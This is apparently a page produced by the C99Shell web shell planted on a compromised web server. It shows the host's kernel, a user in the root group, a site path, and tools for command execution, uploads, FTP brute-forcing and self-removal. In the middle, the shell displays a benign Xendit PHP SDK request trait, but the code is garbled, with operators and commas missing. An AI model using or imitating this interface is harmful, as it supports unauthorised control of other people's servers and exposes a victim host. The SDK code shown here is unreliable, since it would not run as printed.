!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/vendor/xendit/xendit-php/src/ApiOperations/   drwxr-xr-x
Free 28.66 GB of 117.98 GB (24.29%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Request.php (2.81 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * Request.php
 * php version 7.2.0
 *
 * @category Trait
 * @package  Xendit\ApiOperations
 * @author   Ellen <ellen@xendit.co>
 * @license  https://opensource.org/licenses/MIT MIT License
 * @link     https://api.xendit.co
 */

namespace Xendit\ApiOperations;

use 
Xendit\Exceptions\InvalidArgumentException;

/**
 * Trait Request
 *
 * @category Trait
 * @package  Xendit\ApiOperations
 * @author   Ellen <ellen@xendit.co>
 * @license  https://opensource.org/licenses/MIT MIT License
 * @link     https://api.xendit.co
 */
trait Request
{
    
/**
     * Parameters validation
     *
     * @param array $params         user's parameters
     * @param array $requiredParams required parameters
     *
     * @return void
     */
    
protected static function validateParams($params = [], $requiredParams = [])
    {
        
$currParams array_diff_key(array_flip($requiredParams), $params);
        if (
$params && !is_array($params)) {
            
$message "You must pass an array as params.";
            throw new 
InvalidArgumentException($message);
        }
        if (
count($currParams) > 0) {
            
$message "You must pass required parameters on your params. "
                
"Check https://xendit.github.io/apireference/ for more information.";
            throw new 
InvalidArgumentException($message);
        }
    }

    
/**
     * Send request to Api Requestor
     *
     * @param $method string
     * @param $url    string ext url to the API
     * @param $params array parameters
     *
     * @return array
     * @throws \Xendit\Exceptions\ApiException
     */
    
protected static function _request(
        
$method,
        
$url,
        
$params = []
    ) {
        
$headers = [];

        if (
array_key_exists('for-user-id'$params)) {
            
$headers['for-user-id'] = $params['for-user-id'];
        }

        if (
array_key_exists('with-fee-rule'$params)) {
            
$headers['with-fee-rule'] = $params['with-fee-rule'];
        }

        if (
array_key_exists('Idempotency-key'$params)) {
            
$headers['Idempotency-key'] = $params['Idempotency-key'];
        }

        if (
array_key_exists('X-IDEMPOTENCY-KEY'$params)) {
            
$headers['X-IDEMPOTENCY-KEY'] = $params['X-IDEMPOTENCY-KEY'];
        }

        if (
array_key_exists('xendit-idempotency-key'$params)) {
            
$headers['xendit-idempotency-key'] = $params['xendit-idempotency-key'];
        }

        if (
array_key_exists('api-version'$params)) {
            
$headers['api-version'] = $params['api-version'];
            unset(
$params['api-version']);
        }

        if (
array_key_exists('X-API-VERSION'$params)) {
            
$headers['X-API-VERSION'] = $params['X-API-VERSION'];
        }

        
$requestor = new \Xendit\ApiRequestor();
        return 
$requestor->request($method$url$params$headers);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0054 ]--